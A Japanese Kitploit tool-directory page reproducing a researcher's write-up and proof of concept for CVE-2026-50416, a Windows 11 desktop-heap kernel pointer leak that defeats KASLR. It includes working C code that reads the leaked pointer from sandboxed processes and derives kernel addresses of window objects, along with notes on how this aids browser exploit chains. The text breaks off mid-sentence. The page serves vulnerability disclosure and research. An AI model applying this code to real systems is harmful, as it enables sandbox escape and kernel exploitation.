Skip to content
KitploitKITPLOIT
ツールブログ
Log in
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-50416-writeup-and-poc — CVE-2026-50416: Windows 11 KASLR回避 | Kitploit
ツール/GitHubGitHub/karollooool/cve-2026-50416-writeup-and-poc
エクスプロイトフレームワークメモリフォレンジック脆弱性分析エクスプロイト情報収集CTFバイナリ解析論文と研究学習と教育
ラボと実践
GitHubkarollooool/cve-2026-50416-writeup-and-poc

CVE-2026-50416-writeup-and-poc

CVE-2026-50416: Windows 11 KASLR回避

リポジトリを見るウェブサイト
445131ヶ月前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2026-50416: デスクトップヒープにおけるQWORD一つ分の過剰

Windows 11 Insiderビルド 10.0.28020.2149 において、Win32kデスクトップヒープのユーザーモードマッピングが、オフセット 0x100 に生のカーネルセッションプールポインタを露出していました。

この読み取り自体は、ほぼ攻撃的に小さなものです:

ULONG64 leaked = *(ULONG64 *)(desktop_heap + 0x100);

私のテストセッションでは、次の値が返されました:

0xffffc600dcc00040

この値は、同じデスクトップ上のプロセス間では同一であり、再起動後には変化しました。別のデスクトップで起動されたプロセスは、異なるデスクトップヒープを持つため、異なる値を受け取りました。この1つのQWORDから、PoCはカーネルデスクトップヒープベースを復元し、その後 user32!gSharedInfo を使用して、稼働中のウィンドウオブジェクトのカーネルアドレスを導出しました。

同じ読み取りは、Low整合性レベル、AppContainer、ゼロケーパビリティのLPAC構成、およびゼロケーパビリティのLow整合性AppContainer子プロセスからも機能しました。

デスクトップヒープは共有されることになっています。カーネルポインタは共有されるものではありません。

ユーザーモードからのデスクトップヒープ

Win32kは、ウィンドウ、メニュー、クラス、フック、および関連するメタデータなどのUSERオブジェクトをデスクトップヒープに格納します。各デスクトップには独自のヒープがあります。そのヒープの一部は、デスクトップに関連付けられたプロセスにマッピングされ、ユーザーモードがすべてのフィールドについてカーネルに問い合わせることなく共有GUI状態を読み取れるようにします。

テストしたx64ビルドでは、ユーザーモードマッピングは現在のスレッドの TEB クライアントデータを介して到達できます:

PVOID teb = (PVOID)__readgsqword(0x30);
PVOID *client_info = (PVOID *)((BYTE *)teb + 0x800);
BYTE *desktop_heap = (BYTE *)client_info[5];

オフセットはビルド固有ですが、経路は単純です:

GS:[0x30]
    -> TEB
    -> TEB + 0x800 の ClientInfo
    -> ClientInfo[5]
    -> ユーザーモードデスクトップヒープマッピング

PoCは返されたアドレスに対して VirtualQuery を呼び出し、マッピングされた領域とその保護を記録します。まだ何も問題は発生していません。読み取り専用のデスクトップヒープマッピングは、通常のWin32kの動作です。

問題は、その256バイト先から始まります。

オフセット0x100のポインタ

メインのPoCは、マッピングされたヒープから1つのQWORDを読み取ります:

ULONG64 leaked = *(ULONG64 *)(desktop_heap + 0x100);

この値は、テストシステム上でカーネル仮想アドレスから期待される基本的なチェックを通過しました:

  • カノニカルな上位ビット
  • 8バイトアライメント
  • PoCによってフィルタリングされる既知のセンチネル値のいずれでもない
  • ウィンドウの作成と破棄中も安定
  • 同じデスクトップ上のテスト済みプロセスで同一
  • 再起動後は異なる
  • 別のデスクトップでは異なる

安定性テストは、STATIC、BUTTON、EDIT ウィンドウを作成し、作成前に値を読み取り、ウィンドウが存在する間に再度読み取り、それらを破棄して3回目の読み取りを行います。

ULONG64 before = *(ULONG64 *)(desktop_heap + 0x100);

HWND w1 = CreateWindowExA(0, "STATIC", "A", WS_OVERLAPPEDWINDOW,
    0, 0, 100, 100, NULL, NULL, GetModuleHandleA(NULL), NULL);
HWND w2 = CreateWindowExA(0, "BUTTON", "B", WS_OVERLAPPEDWINDOW,
    0, 0, 100, 100, NULL, NULL, GetModuleHandleA(NULL), NULL);
HWND w3 = CreateWindowExA(0, "EDIT", "C", WS_OVERLAPPEDWINDOW,
    0, 0, 100, 100, NULL, NULL, GetModuleHandleA(NULL), NULL);

ULONG64 after_create = *(ULONG64 *)(desktop_heap + 0x100);

DestroyWindow(w1);
DestroyWindow(w2);
DestroyWindow(w3);

ULONG64 after_destroy = *(ULONG64 *)(desktop_heap + 0x100);

3つの読み取りすべてが同じ値を返しました。ウィンドウ割り当てアクティビティによって値は移動しませんでした。この動作は、短命なオブジェクトポインタではなく、デスクトップヒープメタデータ内のフィールドと一致します。

クロスプロセス特性も同様に重要です。同じデスクトップに接続された2つのプロセスは、同じデスクトップヒープを参照しているため、同じリーク値を観測します。再起動後、KASLRはセッションに新しいアドレスを与えます。別のデスクトップに配置された子プロセスは、そのデスクトップが別のヒープを所有しているため、別のポインタを観測します。

これにより、リークに有用な識別性が与えられます:

同じ起動 + 同じデスクトップ      -> 同じポインタ
同じ起動 + 異なるデスクトップ -> 異なるポインタ
新しい起動                       -> 異なるポインタ

カーネルデスクトップヒープベースの復元

テストしたビルドでは、リークしたポインタは、PoCが使用するカーネルデスクトップヒープベースより 0x40 バイト上に位置します:

ULONG64 kernel_desktop_heap_base = leaked - 0x40;

記録されたセッション値を使用:

リークしたポインタ            = 0xffffc600dcc00040
カーネルデスクトップヒープベース  = 0xffffc600dcc00000

この関係はビルド固有です。テスト中に使用されたビルドでは、次のステップに必要なカーネル側のアンカーを提供します。

1つのポインタだけでもすでに有用です。選択したオブジェクトのアドレスは、はるかに有用です。

gSharedInfoを通じたウィンドウオブジェクトの解決

user32.dll は gSharedInfo をエクスポートしており、USERハンドルエントリリストと各エントリのサイズを公開しています:

typedef struct {
    PVOID psi;
    PVOID aheList;
    ULONG HeEntrySize;
} SHAREDINFO;

SHAREDINFO *shared = (SHAREDINFO *)GetProcAddress(
    GetModuleHandleA("user32.dll"),
    "gSharedInfo"
);

HWND にはUSERハンドルテーブルへのインデックスが含まれています。PoCはハンドルの下位16ビットを取得し、一致するエントリに移動して、そこに格納されているデスクトップヒープオフセットを読み取ります。

ULONG index = (ULONG)(ULONG_PTR)hwnd & 0xffff;
BYTE *entry = (BYTE *)shared->aheList + index * shared->HeEntrySize;
ULONG64 heap_offset = *(ULONG64 *)entry;

同じオフセットが両方のマッピング内のオブジェクトを指定します:

BYTE *user_window = desktop_heap + heap_offset;
ULONG64 kernel_window = kernel_desktop_heap_base + heap_offset;

したがって、完全な計算は次のとおりです:

カーネルデスクトップヒープベース = desktop_heap[0x100] - 0x40
ハンドルインデックス              = HWND & 0xffff
ヒープオフセット               = aheList[ハンドルインデックス].offset
カーネルウィンドウアドレス     = カーネルデスクトップヒープベース + ヒープオフセット

PoCは6つのウィンドウクラスを作成し、それぞれについて計算を実行します:

  • STATIC
  • BUTTON
  • EDIT
  • LISTBOX
  • SCROLLBAR
  • COMBOBOX

すべてのオブジェクトについて、HWND、ハンドルインデックス、ユーザーモードオブジェクトアドレス、ヒープオフセット、およびカーネルアドレスを出力します。

HWND
  -> 下位16ビットのハンドルインデックス
  -> gSharedInfoハンドルエントリ
  -> デスクトップヒープオフセット
  -> カーネルデスクトップヒープベース + オフセット
  -> そのウィンドウオブジェクトのカーネルアドレス

これが、この開示を、緩いカーネルポインタから、テストしたデスクトップヒープ上の選択されたUSERオブジェクトのアドレスオラクルへと変える部分です。

サンドボックステストが重要な理由

デスクトップヒープは共有マッピングを通じて提供されます。整合性レベルとAppContainer制限は、プロセスごとにそのマッピングの内容を書き換えることはありません。プロセスがデスクトップヒープを受け取れば、0x100 のQWORDも一緒に受け取ります。

サンドボックスPoCは、いくつかのコンテキストで子プロセスを起動し、各子プロセスに自身の TEB と自身のデスクトップヒープマッピングから値を読み取らせます。

コンテキスト構成結果
中整合性標準ユーザープロセスリーク
低整合性トークン整合性をLowに低下リーク
AppContainer要求ケーパビリティゼロリーク
LPAC構成すべてのアプリケーションパッケージのオプトアウトポリシー、要求ケーパビリティゼロリーク
低整合性AppContainerLow IL + AppContainer、要求ケーパビリティゼロリーク
代替デスクトップ新しいデスクトップに割り当てられた子プロセス異なる値をリーク

最初の5つの子プロセスはデフォルトデスクトップに接続され、同じアドレスを返しました。代替デスクトップの子プロセスは、別のデスクトップヒープを受け取ったため、別のアドレスを返しました。

子プロセスの出力はコンパクトな形式で、親プロセスが結果を比較できるようになっています:

RESULT|LowIL+AppContainer|LEAKED|0xffffc600dcc00040|1|1234

より厳格なヘルパーは、トークン状態とケーパビリティ数も記録します:

RESULT|LPAC_LowIL_NoCaps|LEAKED|0xffffc600dcc00040|IL=Low|AC=1|caps=0|PID=1234

重要な詳細は、子プロセスが特別なWin32k APIを呼び出せることではありません。その必要はありません。マッピングが存在すれば、リークは通常のユーザーモードメモリ読み取りです。

ウィンドウ作成は不要

別のヘルパーは、CreateWindow を呼び出さずに読み取りを実行します。

デスクトップヒープポインタをチェックし、desktop_heap[0x100] を読み取り、user32.dll を明示的にロードし、マッピングを再度チェックし、それでもウィンドウを作成しません。別のレンダラー風の子プロセスは、user32.dll をロードし、同じ読み取りを実行し、ウィンドウを作成せずに終了します。

有用な結果は単純明快です:

リークしたQWORDを読み取る前に、ウィンドウオブジェクトを作成する必要はありません。

リークは、攻撃プロセスによって作成されたウィンドウではなく、デスクトップヒープマッピング自体に属しています。

レンダラー風の子プロセス

supporting_proof_remote_trigger.c は、要求ケーパビリティがゼロの低整合性AppContainer子プロセスを作成します。子プロセスは少量の作業のみを行います:

LoadLibraryA("user32.dll");

PVOID teb = (PVOID)__readgsqword(0x30);
PVOID *client_info = (PVOID *)((BYTE *)teb + 0x800);
BYTE *desktop_heap = (BYTE *)client_info[5];
ULONG64 leaked = *(ULONG64 *)(desktop_heap + 0x100);

記録された出力:

RENDERER|LEAKED|0xffffc600dcc00040|AC=1|IL=0x1000|NoWindowCreated

これは、レンダラー風のトークン構成からの読み取りを示しています。そのようなプロセスでネイティブコード実行をすでに提供する別のブラウザメモリ破壊バグは、このデスクトップヒープポインタを読み取る前に、別の情報開示を必要としません。

マッピング内で他に見えたもの

信頼できるポインタを取得したら、マッピングされた領域をスキャンして他に何が存在するかを確認しました。

追加のカーネル形状の値

スキャナーは、実行ごとに、同じカノニカルアドレスとアライメントチェックを通過する6〜10個の追加の一意なQWORD値を見つけました。正確な数はデスクトップアクティビティによって変化しました。オフセット 0x100 が安定した主要なリークでしたが、マッピング内でカーネルアドレス形状を持つ唯一の値ではありませんでした。

他のプロセスからのウィンドウタイトル

機密データヘルパーは、EnumWindows でトップレベルウィンドウを列挙し、それらの所有PIDとタイトルを収集し、その後、デスクトップヒープマッピング内で同じタイトルをUTF-16文字列として検索します。

記録された実行では、他のプロセスに属する20の一意なタイトルが見つかりました。例には、ブラウザタブ、Discord、Explorer、Spotify、およびシステムトレイウィンドウが含まれていました。

プログラムは、次の両方の条件が真の場合にのみタイトルを出力します:

  1. 文字列がマッピングされたデスクトップヒープ領域に存在する。
  2. EnumWindows がそのタイトルと、テストプロセスとは異なる所有PIDを持つウィンドウを報告する。

これにより、メモリ内で見つかったランダムな印刷可能文字列に依存するのではなく、出力を簡単に検証できます。

プロセスIDの出現

ヘルパーはまた、マッピング内のDWORD値をスキャンします。値は次の場合にのみカウントされます:

  1. もっともらしいPIDのように見える。
  2. OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION) がそのPIDに対して成功する。
  3. そのPIDが EnumWindows によって見つかったウィンドウも所有している。

記録された実行では、605の一致するDWORD出現が見つかりました。これはヒープ内の出現数であり、605の一意なプロセスではありません。同じPIDが複数回出現することがあります。

パスワード編集テキスト

ヘルパーは、ES_PASSWORD を持つ EDIT コントロールを作成し、そのテキストを SecretPassword123 に設定し、マッピングされた領域で SecretP プレフィックスを検索します。テストした実行では見つかりませんでした。

したがって、マッピングはタイトル、PID出現、およびカーネル形状の値を公開しましたが、テストしたパスワード文字列はそこに表示されませんでした。

リークがエクスプロイト中に変えるもの

Win32kメモリ破壊バグの場合、オブジェクトが存在することを知ることは、それがカーネルメモリのどこに存在するかを知ることと同じではありません。

開示がなければ、攻撃者は未知のデスクトップヒープベースと未知のオブジェクトアドレスに対処する必要があります。開示があれば、アドレス側は次のようになります:

ツールをダウンロード